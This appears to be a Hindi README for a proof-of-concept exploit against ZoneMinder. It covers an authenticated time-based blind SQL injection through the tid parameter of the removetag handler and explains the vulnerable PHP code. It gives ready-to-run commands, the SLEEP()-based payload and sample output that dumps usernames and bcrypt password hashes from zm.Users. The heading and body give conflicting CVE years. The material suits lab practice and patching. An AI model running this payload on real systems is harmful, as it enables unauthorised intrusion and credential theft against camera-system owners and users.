
CVE-2025-51482 POC, zm.Users से क्रेडेंशियल्स डंप करें
CVE-2024-51482 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ZoneMinder v1.37. ≤ 1.37.64* में एक प्रमाणीकृत समय-आधारित ब्लाइंड SQL इंजेक्शन कमजोरी।
स्क्रिप्ट zm.Users तालिका से उपयोगकर्ता नाम और पासवर्ड हैश को SLEEP()-आधारित ओरेकल पर बाइनरी सर्च (द्विभाजन) का उपयोग करके निकालती है।
web/ajax/event.php में removetag हैंडलर एक DELETE क्वेरी को सुरक्षित रूप से पैरामीटराइज़ करता है, लेकिन फिर उपयोगकर्ता-नियंत्रित इनपुट को सीधे एक बाद के SELECT में इंटरपोलेट करता है:
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId बिना किसी सैनिटाइज़ेशन के सीधे $_REQUEST['tid'] से आता है, जिससे tid पैरामीटर के माध्यम से इंजेक्शन संभव होता है।
requests (pip install requests)ZMSESSID सेशन कुकीpython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
तर्क:
--url — ZoneMinder बेस URL (जैसे http://cctv.htb/zm) (आवश्यक)--zmsessid — ZMSESSID कुकी मान (आवश्यक)--sleep — समय-आधारित अनुमान के लिए सेकंड सोएं (डिफ़ॉल्ट: 3)--timeout — सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: sleep + 3)उदाहरण:
# बेसिक
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# कम-विलंबता नेटवर्क पर तेज़
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# कस्टम टाइमआउट
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
ZoneMinder में लॉग इन करें, ब्राउज़र DevTools (F12) -> Application -> Cookies खोलें, और ZMSESSID का मान कॉपी करें। वैकल्पिक रूप से, Burp Suite में किसी भी प्रमाणीकृत अनुरोध को इंटरसेप्ट करें और Cookie हेडर से इसे प्राप्त करें।
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 अनुरोध भेजता है।SLEEP(2) इंजेक्ट करता है और सत्यापित करता है कि प्रतिक्रिया ≥2 सेकंड विलंबित है।zm.Users पर COUNT(*) को बाइनरी सर्च करता है।Username और Password दोनों में प्रत्येक वर्ण के ASCII मान को बाइनरी सर्च करता है (प्रति वर्ण ~7 अनुरोध बनाम रैखिक स्कैन के लिए 95)।पेलोड संरचना:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 आवश्यक है क्योंकि कमजोर SELECT से पहले सुरक्षित DELETE इसके बिना 500 त्रुटि फेंक देगा, जिससे इंजेक्शन तक पहुँचने से पहले निष्पादन रुक जाएगा।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान के लिए है।
हमेशा किसी भी ऐसी प्रणाली का परीक्षण करने से पहले स्पष्ट लिखित अनुमति प्राप्त करें जिसके आप मालिक नहीं हैं।
लेखक इस सॉफ्टवेयर के दुरुपयोग या इसके कारण हुई क्षति के लिए कोई जिम्मेदारी नहीं लेता है।